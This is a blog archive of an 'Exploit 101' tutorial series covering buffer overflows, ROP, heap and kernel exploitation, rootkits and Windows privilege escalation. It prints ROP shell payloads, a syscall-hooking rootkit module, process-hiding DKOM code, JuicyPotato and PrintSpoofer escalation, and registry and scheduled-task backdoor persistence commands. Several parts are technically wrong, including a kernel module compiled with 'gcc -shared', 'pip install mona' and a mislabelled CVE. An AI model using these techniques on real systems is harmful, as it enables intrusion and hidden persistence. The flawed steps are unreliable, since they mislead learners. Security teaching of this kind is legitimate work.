Showing posts with label Exploit. Show all posts
Showing posts with label Exploit. Show all posts

Monday, March 3, 2025

Exploit 101: Final Part - Mastering Exploit Development and Beyond


As we conclude our Exploit 101 series, this final part will summarize key takeaways and introduce advanced topics for those looking to master exploit development. Whether you aim to become a penetration tester, security researcher, or vulnerability analyst, this guide will help you take the next step.

Recap of Exploit 101 Series

Core Concepts Covered:

  1. Introduction to Exploits and Vulnerabilities – Understanding how exploits work.
  2. Setting Up an Exploitation Lab – Creating a safe testing environment.
  3. Basic Exploit Development – Learning memory corruption techniques.
  4. Return-Oriented Programming (ROP) – Bypassing security mitigations.
  5. Heap Exploitation Basics – Manipulating heap memory structures.
  6. Advanced Heap Exploitation – Bypassing modern heap protections.
  7. Kernel Exploitation Basics – Privilege escalation via kernel vulnerabilities.
  8. Kernel Rootkits and Persistence – Gaining stealthy, long-term access.
  9. Windows Exploitation Basics – Targeting Windows memory corruption flaws.
  10. Advanced Windows Exploitation – Bypassing ASLR, DEP, and modern security mechanisms.

Each of these topics provides a foundation for more advanced security research.


Advanced Exploit Development Topics

For those looking to push their skills further, here are some advanced areas of exploit development:

1. Fuzzing for Vulnerability Discovery

  • AFL (American Fuzzy Lop): Automated bug discovery.
    afl-fuzz -i input -o output -- ./vulnerable_binary @@
    
  • WinAFL: Windows-based fuzzing tool.
  • LibFuzzer: In-memory fuzzing for libraries.

2. Advanced Return-Oriented Programming (ROP) and JIT Spraying

  • Chaining ROP gadgets dynamically.
  • Bypassing CFG (Control Flow Guard) using JIT Spraying.

3. Linux Kernel Exploitation (Advanced)

  • Kernel Heap Overflow: Exploiting memory corruption in kernel space.
  • Bypassing KASLR and SMEP: Using race conditions and info leaks.
  • Writing kernel-mode payloads: Injecting rootkits stealthily.

4. Windows Kernel Exploitation (Advanced)

  • Exploiting Driver Vulnerabilities: Attacking signed drivers.
  • Token Stealing via Kernel Mode: Elevating privileges stealthily.
  • PatchGuard and Hyper-V Bypasses: Defeating modern Windows protections.

5. Firmware and IoT Exploitation

  • Reverse Engineering Embedded Devices: Extracting firmware from hardware.
  • Exploiting Bootloaders: Gaining persistence at firmware level.
  • JTAG/UART Debugging: Interacting with device internals.

6. Web Exploitation and Deserialization Attacks

  • Remote Code Execution (RCE) via Serialization Bugs: Exploiting Python, Java, and PHP object deserialization flaws.
  • WebAssembly Exploits: Attacking browser JIT engines.
  • Server-Side Template Injection (SSTI): Abusing web frameworks.

How to Continue Your Learning Journey

1. Practical Labs & Challenges

  • Hack The Box (HTB) – Real-world exploitation challenges.
  • TryHackMe – Beginner to advanced cyber labs.
  • VulnHub – Downloadable vulnerable machines.

2. Books for Exploit Development

  • The Shellcoder's Handbook – Chris Anley, et al.
  • The Art of Exploitation – Jon Erickson.
  • Windows Internals – Mark Russinovich.
  • The Art of Memory Forensics – Michael Hale Ligh.

3. Certifications for Exploit Developers

  • Offensive Security Certified Expert (OSEE) – The ultimate Windows exploit dev certification.
  • Exploit Development Student (EDS) by eLearnSecurity – Beginner-friendly exploit research training.
  • Red Team Operator (RTO) by Zero-Point Security – Hands-on red teaming and exploit use.

Final Thoughts

Exploit development is a constantly evolving field that requires a deep understanding of systems, memory, and mitigations. The best way to improve is to practice, analyze real-world CVEs, and contribute to security research.

What's Next?

  • Develop your own exploits and share research.
  • Report security vulnerabilities via responsible disclosure.
  • Collaborate with security communities and open-source projects.

Thank you for following the Exploit 101 series! Keep hacking, keep learning, and push the limits of cybersecurity research. 🚀

Exploit 101: Part 10 - Advanced Windows Exploitation


In this tenth and final part of our Exploit 101 series, we will explore Advanced Windows Exploitation Techniques, including bypassing security mitigations, crafting advanced exploits, and achieving persistence in compromised systems.

Advanced Windows Exploitation Techniques

To exploit modern Windows systems, attackers must bypass security defenses like DEP, ASLR, PatchGuard, and Control Flow Guard (CFG). Below are some techniques used for advanced exploitation.

1. Bypassing Data Execution Prevention (DEP)

DEP prevents execution of non-executable memory, blocking traditional buffer overflow shellcode execution.

Bypassing DEP with ROP (Return-Oriented Programming)

ROP allows an attacker to chain existing functions in memory to execute arbitrary code.

Steps:
  1. Find ROP Gadgets in a loaded DLL (e.g., kernel32.dll):
    ROPgadget --binary vulnerable.exe
    
  2. Create an ROP chain to call VirtualProtect() and mark memory as executable:
    payload = b"A" * offset  # Overflow buffer
    payload += p32(virtual_protect)  # Address of VirtualProtect()
    payload += p32(gadget_ret)  # Return address
    payload += p32(shellcode_address)  # Address of shellcode
    
  3. Execute the payload, bypassing DEP.

2. Bypassing ASLR (Address Space Layout Randomization)

ASLR randomizes memory addresses to make exploitation harder.

Bypassing ASLR with Memory Leaks

  1. Find a function that leaks memory addresses (e.g., printf() or NtQuerySystemInformation).
  2. Use the leaked address to calculate DLL base addresses.
  3. Construct a new exploit using the known addresses.

Example of leaking an address in C:

printf("Address of kernel32.dll: %p\n", GetModuleHandle("kernel32.dll"));

3. Token Stealing for Privilege Escalation

Even without a kernel exploit, attackers can steal access tokens to escalate privileges.

Exploiting SeImpersonatePrivilege

  1. Check if the current user has impersonation privileges:
    whoami /priv | findstr SeImpersonatePrivilege
    
  2. Use RoguePotato or PrintSpoofer to escalate privileges:
    PrintSpoofer64.exe -i -c cmd.exe
    
  3. Confirm SYSTEM access:
    whoami
    

4. Exploiting Windows Kernel for SYSTEM Privileges

Exploiting kernel vulnerabilities allows attackers to execute arbitrary code in ring 0.

Exploiting a Windows Kernel Null Pointer Dereference

  1. Find a vulnerable driver that maps a NULL pointer in kernel space.
  2. Use user-controlled memory to overwrite kernel structures.
  3. Execute a payload to spawn a SYSTEM shell.

Example of triggering a kernel crash:

#include <windows.h>
int main() {
    *(int *)0 = 0xDEADBEEF; // NULL pointer dereference
    return 0;
}

5. Persistence Techniques

After exploitation, attackers establish persistence to maintain access:

  • Registry Autoruns:
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v backdoor /t REG_SZ /d "C:\malicious.exe"
    
  • Scheduled Task Execution:
    schtasks /create /tn "Update" /tr C:\backdoor.exe /sc onlogon /ru SYSTEM
    
  • DLL Hijacking:
    • Replace a legitimate DLL with a malicious one in the application’s directory.

Windows Exploitation Mitigations

Microsoft implements multiple defenses:

  1. Windows Defender Exploit Guard (WDEG) – Protects against memory corruption.
  2. Control Flow Guard (CFG) – Blocks control hijacking attempts.
  3. Credential Guard – Prevents credential dumping.
  4. LSA Protection – Protects sensitive authentication components.

How Attackers Bypass Mitigations

  • Memory Corruption Exploits – Exploiting unpatched vulnerabilities.
  • Privilege Escalation via Kernel Exploits – Bypassing PatchGuard.
  • Code Injection – Injecting malicious code into trusted processes.
  • APC Hijacking – Manipulating asynchronous procedure calls to execute malicious code.

Conclusion

Advanced Windows exploitation requires deep knowledge of ROP, ASLR bypass, privilege escalation, and kernel exploitation. This concludes our Exploit 101 series. Continue your journey by exploring real-world CVEs, exploit research, and penetration testing techniques.

Further Learning Resources

  • Windows Internals, Part 1 & 2 – By Mark Russinovich
  • The Art of Memory Forensics – By Michael Hale Ligh
  • Offensive Security Exploitation Expert (OSEE) – Advanced exploit development course
  • Hack The Box / VulnHub – Practice with real-world challenges

What’s Next?

  • Learn Advanced Exploit Development (Windows/Linux).
  • Explore Firmware and IoT Exploitation.
  • Get into Reverse Engineering & Malware Analysis.

Thank you for following the Exploit 101 series! Keep practicing, researching, and pushing your skills further. 🚀

Exploit 101: Part 9 - Windows Exploitation Basics


In this ninth part of our Exploit 101 series, we shift focus to Windows Exploitation, covering how attackers find and exploit vulnerabilities in Windows systems for privilege escalation and remote code execution.

Understanding Windows Exploitation

Windows exploits target vulnerabilities in user-mode applications, kernel components, and network services. These exploits often aim to:

  • Escalate privileges from low-level users to SYSTEM.
  • Execute arbitrary code through memory corruption.
  • Bypass security mechanisms like DEP, ASLR, and PatchGuard.
  • Persist on a system by modifying registry, services, or scheduled tasks.

Common Windows Vulnerabilities

  1. Buffer Overflow – Overwriting memory structures to hijack execution.
  2. Privilege Escalation – Exploiting kernel flaws to elevate privileges.
  3. DLL Hijacking – Replacing legitimate DLLs with malicious versions.
  4. Token Impersonation – Abusing high-privileged access tokens.
  5. EternalBlue (SMB Exploit - CVE-2017-0144) – Remote code execution via SMB.

Setting Up a Windows Exploitation Lab

Required Tools

  • Windows 10/7 Virtual Machine (Target system)
  • Kali Linux or CommandoVM (Attacker system)
  • Metasploit Framework (Exploit development)
    sudo apt install metasploit-framework
    
  • WinDbg (Windows Debugger for analyzing crashes)
  • Immunity Debugger with Mona.py (Buffer overflow fuzzing)
    pip install mona
    

Exploit 1: Buffer Overflow in Windows

Vulnerable C Code

#include <stdio.h>
#include <string.h>

void vulnerable_function(char *input) {
    char buffer[128];
    strcpy(buffer, input); // No bounds checking
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("Usage: %s <input>\n", argv[0]);
        return 1;
    }
    vulnerable_function(argv[1]);
    return 0;
}

Exploiting It

Compile with:

gcc -o vuln.exe vuln.c

Find crash offset using Mona.py in Immunity Debugger:

!mona pattern_create 300

Trigger overflow:

python -c 'print("A"*300)' | vuln.exe

Check EIP overwrite with:

!mona pattern_offset 0x41414141  # Replace with actual EIP value

Exploit 2: Privilege Escalation via Token Impersonation

Abusing SeImpersonatePrivilege

If a process has SeImpersonatePrivilege, it can escalate privileges:

  1. Check privileges:
    whoami /priv
    
  2. Use JuicyPotato exploit:
    JuicyPotato.exe -t * -p cmd.exe -l 1337
    
  3. Spawn SYSTEM shell:
    whoami  # Now running as SYSTEM
    

Windows Exploitation Mitigations

Windows includes multiple security features:

  • DEP (Data Execution Prevention) – Prevents execution of non-executable memory.
  • ASLR (Address Space Layout Randomization) – Randomizes memory addresses.
  • PatchGuard – Protects kernel structures from modification.
  • Credential Guard – Prevents credential dumping attacks.

Bypassing Protections

  • Return-Oriented Programming (ROP) – Bypasses DEP by chaining existing code.
  • Heap Spray – Predicts ASLR-protected addresses by flooding memory.
  • DLL Injection – Loads malicious code into trusted processes.

Conclusion

Windows exploitation requires understanding memory corruption, privilege escalation, and bypassing security defenses. In the next part, we will cover Advanced Windows Exploitation Techniques.

Stay tuned for Exploit 101: Part 10 – Advanced Windows Exploitation!

Exploit 101: Part 8 - Kernel Rootkits and Persistence


In this eighth part of our Exploit 101 series, we will explore Kernel Rootkits and Persistence, focusing on how attackers maintain access to a compromised system using stealthy kernel modifications.

What is a Kernel Rootkit?

A kernel rootkit is a type of malware that runs with kernel privileges, allowing it to:

  • Hide processes, files, and network connections
  • Intercept system calls and modify kernel behavior
  • Provide persistent backdoor access
  • Bypass security mechanisms like antivirus and monitoring tools

Kernel Rootkit Techniques

  1. Hooking System Calls – Modifying sys_call_table to intercept functions.
  2. Direct Kernel Object Manipulation (DKOM) – Hiding processes by modifying kernel structures.
  3. Loadable Kernel Modules (LKM) Rootkits – Dynamically loading malicious kernel code.
  4. Network Backdoor Injection – Creating hidden network sockets.
  5. Filesystem Hiding – Concealing files and directories.

Setting Up a Rootkit Development Environment

Required Tools

  • Kernel Headers (for compiling modules):
    sudo apt install linux-headers-$(uname -r)
    
  • GDB & QEMU (for debugging):
    sudo apt install gdb qemu-system-x86
    
  • LKM Development Tools:
    sudo apt install build-essential
    

Example 1: Hooking System Calls

Malicious LKM Code

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>

unsigned long **sys_call_table;
static asmlinkage int (*original_sys_getdents)(unsigned int, struct linux_dirent *, unsigned int);

asmlinkage int hacked_sys_getdents(unsigned int fd, struct linux_dirent *dirp, unsigned int count) {
    int nread = original_sys_getdents(fd, dirp, count);
    return nread; // Modify this function to hide files
}

static int __init rootkit_init(void) {
    sys_call_table = (unsigned long **)kallsyms_lookup_name("sys_call_table");
    original_sys_getdents = (void *)sys_call_table[__NR_getdents];
    return 0;
}

static void __exit rootkit_exit(void) {
    sys_call_table[__NR_getdents] = (unsigned long *)original_sys_getdents;
}

module_init(rootkit_init);
module_exit(rootkit_exit);
MODULE_LICENSE("GPL");

Compiling and Loading the Rootkit

gcc -o rootkit.ko rootkit.c -fPIC -shared
sudo insmod rootkit.ko

Check if it is loaded:

lsmod | grep rootkit

Remove the rootkit:

sudo rmmod rootkit

Example 2: Hiding a Process with DKOM

Modify process structures to hide a malicious process:

struct task_struct *task;
for_each_process(task) {
    if (!strcmp(task->comm, "malicious")) {
        list_del(&task->tasks);
    }
}

Rootkit Detection and Mitigation

  • Check for Hidden Modules:
    sudo lsmod | grep suspicious_module
    
  • Scan for Rootkits using rkhunter:
    sudo apt install rkhunter
    sudo rkhunter --check
    
  • Use Kernel Integrity Monitoring (LKRG)
    sudo apt install lkrg
    

Conclusion

Kernel rootkits are dangerous and stealthy, allowing attackers to maintain persistent control. Defenders must use kernel integrity checks, system monitoring, and rootkit detection tools. In the next part, we will explore Windows Exploitation Basics.

Stay tuned for Exploit 101: Part 9 – Windows Exploitation Basics!

Exploit 101: Part 7 - Kernel Exploitation Basics


In this seventh part of our Exploit 101 series, we will introduce Kernel Exploitation, focusing on how attackers exploit vulnerabilities in the Linux kernel to achieve privilege escalation and system control.

What is Kernel Exploitation?

Kernel exploitation involves exploiting vulnerabilities in the operating system kernel, allowing an attacker to:

  • Escalate privileges (gain root access from a low-privileged user)
  • Bypass security restrictions
  • Execute arbitrary code in kernel mode
  • Achieve persistence (backdoors, rootkits)

Common Kernel Vulnerabilities

  1. Null Pointer Dereference – Accessing NULL memory in kernel space.
  2. Use-After-Free (UAF) – Reusing deallocated memory.
  3. Race Conditions – Exploiting concurrency flaws.
  4. Stack-Based Buffer Overflow – Overwriting kernel function pointers.
  5. Integer Overflow – Manipulating memory allocation sizes.

Setting Up a Kernel Exploitation Lab

1. Install a Vulnerable Kernel

To practice, use an older Linux kernel with known vulnerabilities.

Ubuntu with Kernel 4.15 (Vulnerable to CVE-2017-16995)

wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.15/linux-image-4.15.0.deb
sudo dpkg -i linux-image-4.15.0.deb
sudo reboot

2. Debugging Kernel Exploits

  • QEMU + GDB for Kernel Debugging
qemu-system-x86_64 -kernel bzImage -append "root=/dev/sda" -s -S

Attach GDB:

gdb -ex "target remote :1234"

Exploit 1: Null Pointer Dereference

Vulnerable Kernel Code (CVE-2017-11176)

struct my_struct {
    int *ptr;
};
static struct my_struct *data;
void kernel_vuln(void) {
    if (data->ptr) {
        *(data->ptr) = 0xdeadbeef;
    }
}

This code does not check if data is NULL, leading to a NULL dereference.

Exploiting It

  1. Trigger the vulnerability:
    echo "Exploit Trigger" > /proc/vuln
    
  2. If the kernel crashes, modify execution flow using mmap().
  3. Map user-controlled memory at NULL (bypassing protections):
    mmap(0, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, -1, 0);
    *(int *)0 = 0xdeadbeef; // Control execution
    

Exploit 2: Use-After-Free (CVE-2021-22555)

Vulnerable Code

struct user_struct *obj = kmalloc(sizeof(struct user_struct), GFP_KERNEL);
kfree(obj);
printk("User data: %s\n", obj->name);  // Accessing freed memory!

Exploiting It

  1. Spray the heap using kmalloc() to allocate a controlled structure.
  2. Overwrite function pointers in obj->name to execute shellcode.
  3. Trigger execution with the crafted object.

Kernel Exploitation Mitigations

Modern kernels implement security mechanisms like:

  • KASLR (Kernel Address Space Layout Randomization) – Makes addresses unpredictable.
  • SMEP (Supervisor Mode Execution Prevention) – Blocks userland execution.
  • KPTI (Kernel Page Table Isolation) – Mitigates Meltdown attacks.

Bypassing Protections

  • Leak Kernel Addresses – Use procfs, dmesg, or memory leaks.
  • ROP (Return-Oriented Programming) – Chain kernel gadgets to execute payloads.
  • Disable SMEP – Use ROP to modify control registers.

Conclusion

Kernel exploitation is an advanced technique requiring deep knowledge of memory management, privilege escalation, and bypassing modern mitigations. In the next part, we will cover Kernel Rootkits and Persistence Techniques.

Stay tuned for Exploit 101: Part 8 – Kernel Rootkits and Persistence!

Exploit 101: Part 6 - Advanced Heap Exploitation


In this sixth part of our Exploit 101 series, we dive deeper into Advanced Heap Exploitation, covering heap metadata corruption, fastbin attacks, unlink exploitation, and other modern heap exploitation techniques.

Understanding the Heap Allocator

Most Linux systems use glibc's ptmalloc2 as the heap allocator. Understanding its structure is key to exploiting heap vulnerabilities.

Heap Chunk Structure (ptmalloc2)

A heap chunk consists of the following fields:

+--------------------+
| Prev Size         |  (If previous chunk is free)
+--------------------+
| Size             |  (Size of this chunk + metadata flags)
+--------------------+
| User Data        |  (Allocated memory returned to malloc caller)
+--------------------+
| Padding          |  (Aligns chunk size to 8/16 bytes)
+--------------------+
| Next Chunk Size  |  (Size of next chunk if it's free)
+--------------------+

Key Heap Attack Techniques

  • Fastbin Duplication Attack – Abusing fastbins to allocate memory at arbitrary locations.
  • Unlink Exploitation – Manipulating free chunk pointers to overwrite critical data.
  • House of Force – Expanding the top chunk to overwrite memory regions.
  • House of Spirit – Allocating fake chunks to bypass protections.
  • House of Corrosion – Attacking heap metadata corruption.

Exploit 1: Fastbin Duplication Attack

Vulnerable C Code

#include <stdio.h>
#include <stdlib.h>
int main() {
    char *a = malloc(64);
    char *b = malloc(64);
    free(a);
    free(b);
    char *c = malloc(64);  // Reuses the same chunk
    strcpy(c, "Exploited!");
    printf("%s\n", c);
    return 0;
}

Exploiting Fastbin Duplication

  1. Run the binary under GDB:
    gdb -q ./fastbin_exploit
    
  2. Set breakpoints after free() to inspect heap:
    heap bins
    
  3. Corrupt the fastbin list to allocate memory at an arbitrary address.

Exploit 2: Unlink Exploitation

Vulnerable C Code

#include <stdio.h>
#include <stdlib.h>
struct Chunk {
    struct Chunk *fd;
    struct Chunk *bk;
};
int main() {
    struct Chunk *a = malloc(sizeof(struct Chunk));
    struct Chunk *b = malloc(sizeof(struct Chunk));
    free(a);
    free(b);
    a->fd = (struct Chunk*)&a - 2;
    a->bk = (struct Chunk*)&a - 1;
    malloc(sizeof(struct Chunk));
    return 0;
}

Exploiting Unlink Attack

When malloc() reuses freed memory, unlink() writes to an arbitrary address, leading to control of program execution.

Heap Exploitation Mitigations

Modern Linux systems implement heap protections:

  • Safe Linking – Protects against fastbin corruption.
  • Heap Canaries – Detects overflows before they corrupt metadata.
  • tcache (Thread Cache) – Prevents simple fastbin abuse.
  • ASLR (Address Space Layout Randomization) – Makes address prediction difficult.

Bypassing Protections

  • Heap Spraying – Flooding memory with controlled data to predict allocation.
  • Leaking Heap Addresses – Using format string vulnerabilities or memory leaks.
  • Brute Forcing – Attempting multiple allocations to find predictable heap structures.

Conclusion

Advanced heap exploitation requires deep knowledge of heap internals, allocator behavior, and bypassing modern mitigations. In the next part, we will cover Kernel Exploitation Techniques.

Stay tuned for Exploit 101: Part 7 – Kernel Exploitation Basics!

Sunday, March 2, 2025

Exploit 101: Part 5 - Heap Exploitation Basics


In the fifth part of our Exploit 101 series, we will explore heap exploitation, a technique used to manipulate memory allocation mechanisms to gain control over a program's execution.

What is Heap Exploitation?

The heap is a memory region used for dynamic allocation, where programs request memory at runtime using functions like malloc(), calloc(), and realloc(). Unlike stack-based buffer overflows, heap exploitation targets vulnerabilities in heap management to overwrite critical data structures and gain arbitrary code execution.

Common Heap Vulnerabilities

  1. Heap Buffer Overflow – Writing beyond allocated memory on the heap.
  2. Use-After-Free (UAF) – Accessing freed memory, leading to unintended behavior.
  3. Double-Free – Freeing the same memory location twice, corrupting heap structures.
  4. Heap Spraying – Filling heap memory with controlled data to redirect execution.

Setting Up Heap Exploitation Environment

Required Tools

Ensure your system has the following tools installed:

  • GDB with GEF (GDB Enhanced Features)
    sudo apt install gdb -y
    wget -O ~/.gdbinit-gef.py https://gef.blah.cat/py
    echo "source ~/.gdbinit-gef.py" >> ~/.gdbinit
    
  • Pwntools (Python Exploit Development Library)
    pip install pwntools
    
  • Libc Debugging Symbols
    sudo apt install libc6-dbg
    

Example 1: Heap Buffer Overflow

Consider the following vulnerable C code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void vulnerable_function(char *input) {
    char *buffer = malloc(64);
    strcpy(buffer, input);  // No bounds checking
    printf("You entered: %s\n", buffer);
    free(buffer);
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("Usage: %s <input>\n", argv[0]);
        return 1;
    }
    vulnerable_function(argv[1]);
    return 0;
}

The strcpy() function does not verify input length, leading to a heap overflow.

Exploiting Heap Buffer Overflow

Compile the vulnerable program:

gcc -o heap_overflow heap_overflow.c -fno-stack-protector -z execstack -g

Trigger an overflow using python:

./heap_overflow $(python -c 'print("A" * 100)')

If the program crashes, it indicates memory corruption, which can be leveraged to overwrite function pointers or heap metadata.

Example 2: Use-After-Free (UAF) Exploit

Vulnerable C Code

#include <stdio.h>
#include <stdlib.h>

int main() {
    char *ptr = malloc(64);
    strcpy(ptr, "Sensitive Data");
    free(ptr);  // Memory freed but pointer is still accessible
    printf("Use-After-Free: %s\n", ptr);  // Accessing freed memory
    return 0;
}

This program accesses freed memory, which can be exploited by allocating controlled input at the same memory location.

Exploiting UAF

Run the program:

./uaf

If the memory is reused by another allocation, an attacker can control the program flow.

Debugging Heap Exploits with GDB

Use GDB to analyze heap behavior:

gdb -q ./heap_overflow
run $(python -c 'print("A" * 100)')
heap bins  # View heap chunk allocations

Use pwndbg to visualize heap corruption:

heap chunks

Conclusion

Heap exploitation is an advanced technique requiring a deep understanding of memory management. In the next part, we will cover Advanced Heap Exploitation Techniques.

Stay tuned for Exploit 101: Part 6 – Advanced Heap Exploitation!

Exploit 101: Part 4 - Return-Oriented Programming (ROP) Basics


In the fourth part of our Exploit 101 series, we dive into Return-Oriented Programming (ROP), a powerful exploitation technique used to bypass security mitigations like Data Execution Prevention (DEP).

What is Return-Oriented Programming (ROP)?

ROP is an advanced exploitation technique that allows an attacker to execute code without injecting shellcode directly into memory. Instead, it reuses existing code snippets (gadgets) from the binary or loaded libraries to craft a malicious payload.

Why Use ROP?

  • Bypasses DEP: Since DEP prevents execution of injected shellcode, ROP leverages legitimate executable code.
  • Avoids direct shellcode injection: Uses existing functions to achieve malicious actions.
  • Works on non-executable stacks: Helps execute system calls by chaining existing instructions.

1. Understanding ROP Gadgets

ROP gadgets are small instruction sequences that end in a ret instruction. They allow control over execution flow without injecting code.

Example ROP Gadget:

pop eax
ret

This allows the attacker to control the eax register before returning execution.

Finding ROP Gadgets

Use ROPgadget to find usable instructions in a binary:

ROPgadget --binary vuln

Example output:

0x0804849b : pop eax ; ret
0x08048542 : pop ebx ; pop ecx ; ret

These gadgets can be chained together to manipulate execution flow.

2. Setting Up a ROP Attack

Step 1: Identify a Vulnerable Function

Consider this vulnerable C program:

#include <stdio.h>
#include <string.h>
void vulnerable_function(char *input) {
    char buffer[64];
    strcpy(buffer, input);
}
int main(int argc, char *argv[]) {
    vulnerable_function(argv[1]);
    return 0;
}

It lacks bounds checking, leading to a buffer overflow.

Step 2: Find the Offset

Use a cyclic pattern to find the crash offset:

from pwn import *
pattern = cyclic(100)
print(pattern)

Run the binary with the pattern and find the overwrite location in EIP/RIP:

./vuln $(python -c 'from pwn import *; print(cyclic(100))')

Check the register in GDB:

gdb -q ./vuln
run $(python -c 'from pwn import *; print(cyclic(100))')
info registers

Find the offset using:

print(cyclic_find(0x61616162))  # Replace with actual crash value

Step 3: Build the ROP Chain

Find a useful function like system():

objdump -d vuln | grep system

If system() is available, we can call it with /bin/sh to gain a shell.

Example ROP chain in Python:

from pwn import *

binary = ELF("./vuln")
system = binary.symbols['system']
bin_sh = next(binary.search(b"/bin/sh"))

payload = b"A" * 64  # Overflow buffer
payload += p32(system)  # Call system()
payload += b"AAAA"  # Return address (not needed)
payload += p32(bin_sh)  # Argument to system()

print(payload)

Run the exploit:

./vuln $(python exploit.py)

If successful, this spawns a shell.

Conclusion

ROP is an essential technique for bypassing DEP and executing code without injecting shellcode directly. In the next part, we will cover Heap Exploitation Techniques.

Stay tuned for Exploit 101: Part 5 – Heap Exploitation Basics!

Saturday, March 1, 2025

Exploit 101: Part 3 - Introduction to Exploit Development


In the third part of our Exploit 101 series, we will explore the basics of exploit development, including understanding memory vulnerabilities, analyzing vulnerable applications, and writing simple exploits.

What is Exploit Development?

Exploit development is the process of creating scripts or code that take advantage of a vulnerability to achieve unintended behavior, such as remote code execution (RCE), privilege escalation, or denial of service (DoS).

Common Types of Exploits

  1. Stack-Based Buffer Overflow – Overwriting return addresses in the stack.
  2. Heap-Based Buffer Overflow – Corrupting memory allocated on the heap.
  3. Format String Vulnerabilities – Reading or writing arbitrary memory.
  4. Use-After-Free (UAF) – Exploiting memory that has been deallocated.
  5. Integer Overflow – Bypassing integer limitations to overwrite memory.

Setting Up Your Exploit Development Environment

Required Tools

Ensure you have the following tools installed on your attacker machine (Kali Linux, Parrot OS, or Ubuntu):

  • GDB (GNU Debugger) – Analyze and debug binaries.
    sudo apt install gdb -y
    
  • Pwntools – Python library for writing exploits.
    pip install pwntools
    
  • Radare2 – Reverse engineering and debugging framework.
    sudo apt install radare2 -y
    
  • IDA Free / Ghidra – Binary analysis tools.

Understanding Memory Exploits

1. Stack-Based Buffer Overflow (Simple Example)

A buffer overflow occurs when input exceeds a fixed buffer size, corrupting adjacent memory.

Example Vulnerable Code (C):

#include <stdio.h>
#include <string.h>
void vulnerable_function(char *input) {
    char buffer[64];
    strcpy(buffer, input);
}
int main(int argc, char *argv[]) {
    vulnerable_function(argv[1]);
    return 0;
}

This code is vulnerable because strcpy does not check buffer size.

Identifying the Overflow:

Compile with disabled protections:

gcc -fno-stack-protector -z execstack -o vuln vuln.c

Run the program with an oversized input:

./vuln $(python -c 'print("A"*100)')

If the program crashes, it means we can overwrite memory.

Writing a Simple Exploit

1. Finding the Offset

Use a pattern generator from Pwntools:

from pwn import *
pattern = cyclic(100)
print(pattern)

Run the program with this pattern and check where it crashes.

./vuln $(python -c 'from pwn import *; print(cyclic(100))')

Use GDB to find the offset:

gdb -q ./vuln
run $(python -c 'from pwn import *; print(cyclic(100))')
info registers

Look for the register (e.g., EIP or RIP) that contains a recognizable pattern and find its offset.

from pwn import *
print(cyclic_find(0x61616162))  # Replace with actual crash value

2. Overwriting the Return Address

Modify the exploit to inject shellcode.

from pwn import *

payload = b"A" * 64  # Overflow buffer
payload += b"B" * 4   # Overwrite saved EIP

print(payload)

Run it:

./vuln $(python exploit.py)

If successful, we control EIP/RIP, meaning we can redirect execution.

Conclusion

This introduction covers the basics of exploit development, including memory corruption techniques and writing simple exploits. In the next part, we will dive into Return-Oriented Programming (ROP) and Advanced Exploitation Techniques.

Stay tuned for Exploit 101: Part 4 – Return-Oriented Programming (ROP) Basics!

Exploit 101: Part 2 - Setting Up an Exploitation Lab


In the second part of our Exploit 101 series, we will cover how to set up a safe and controlled environment for vulnerability research and exploit development. An exploitation lab is essential for testing security concepts without causing unintended harm.

Why Set Up an Exploitation Lab?

A dedicated lab provides:

  • A safe environment to test exploits without damaging real systems.
  • A controlled setup to analyze vulnerabilities and develop proof-of-concepts (PoCs).
  • Hands-on experience with real-world attack techniques.

1. Choosing the Right Virtualization Software

To create an isolated testing environment, we use virtual machines (VMs):

Software Features
VirtualBox Free, open-source, easy to set up
VMware Workstation Paid but powerful with snapshot features
KVM/QEMU Linux-native virtualization for advanced users

Installing VirtualBox (Example)

On Debian/Ubuntu:

sudo apt update && sudo apt install virtualbox -y

On Arch Linux:

sudo pacman -S virtualbox

2. Selecting the Operating Systems

A good lab should include both vulnerable targets and attacker machines.

Attacker Machine (Kali Linux / Parrot OS)

  • Kali Linux (Recommended)
    wget https://cdimage.kali.org/kali-linux-rolling.iso
    
  • Parrot Security OS
    wget https://download.parrot.sh/parrot/iso/5.3/Parrot-security-5.3_x64.iso
    

Vulnerable Target Machines

VM Description
Metasploitable 2 Deliberately vulnerable Linux VM for pentesting
Windows 7 with VulnApps Test Windows exploits in a sandboxed setup
Damn Vulnerable Web App (DVWA) Web application with known vulnerabilities
Hack The Box / VulnHub VMs Real-world challenges for exploit testing

3. Configuring Network Settings

A safe network setup ensures controlled attacks:

  • Host-Only Network – Isolates VMs from the internet while allowing internal communication.
  • NAT (Network Address Translation) – VMs have internet access but are hidden from the outside world.
  • Bridged Mode – Gives VMs real IPs (use with caution!).

Setting Up a Host-Only Network in VirtualBox

  1. Open VirtualBox > File > Host Network Manager.
  2. Create a new host-only network.
  3. Assign IP range (e.g., 192.168.56.1/24).
  4. Attach target VMs to this network.

4. Installing Essential Exploitation Tools

Your attacker machine should have the following tools installed:

Metasploit Framework (Exploit Automation)

sudo apt install metasploit-framework -y
msfconsole

GDB (GNU Debugger) for Analyzing Binaries

sudo apt install gdb -y

Pwntools (Python Exploit Development)

pip install pwntools

Radare2 (Reverse Engineering)

sudo apt install radare2 -y

IDA Free / Ghidra (Disassemblers)

  • Download IDA Free from hex-rays.com
  • Install Ghidra (NSA-developed reverse engineering tool):
    wget https://ghidra-sre.org/ghidra_10.3_PUBLIC_20230509.zip
    unzip ghidra_10.3_PUBLIC_20230509.zip
    

5. Testing Your Setup

Once your environment is ready, verify:

  • Network connectivity: Can the attacker machine communicate with target VMs?
  • Exploit testing: Use Metasploit to exploit a test vulnerability.
  • Debugging tools: Ensure gdb and radare2 work correctly.

Example: Exploiting Metasploitable 2

Start Metasploit and scan the target:

msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.56.101
exploit

This should open a backdoor shell on the target VM!

Conclusion

By setting up a proper exploitation lab, you can safely research vulnerabilities and test exploits without legal or ethical concerns. In the next part, we will cover Basic Exploit Development Techniques.

Stay tuned for Exploit 101: Part 3 – Introduction to Exploit Development!

Friday, February 28, 2025

Exploit 101: Part 1 - Introduction to Exploits and Vulnerabilities

Exploits are a fundamental concept in cybersecurity, used by attackers and ethical hackers to assess system security. In this Exploit 101 series, we will cover different types of exploits, vulnerability research, and practical exploitation techniques.

What is an Exploit?

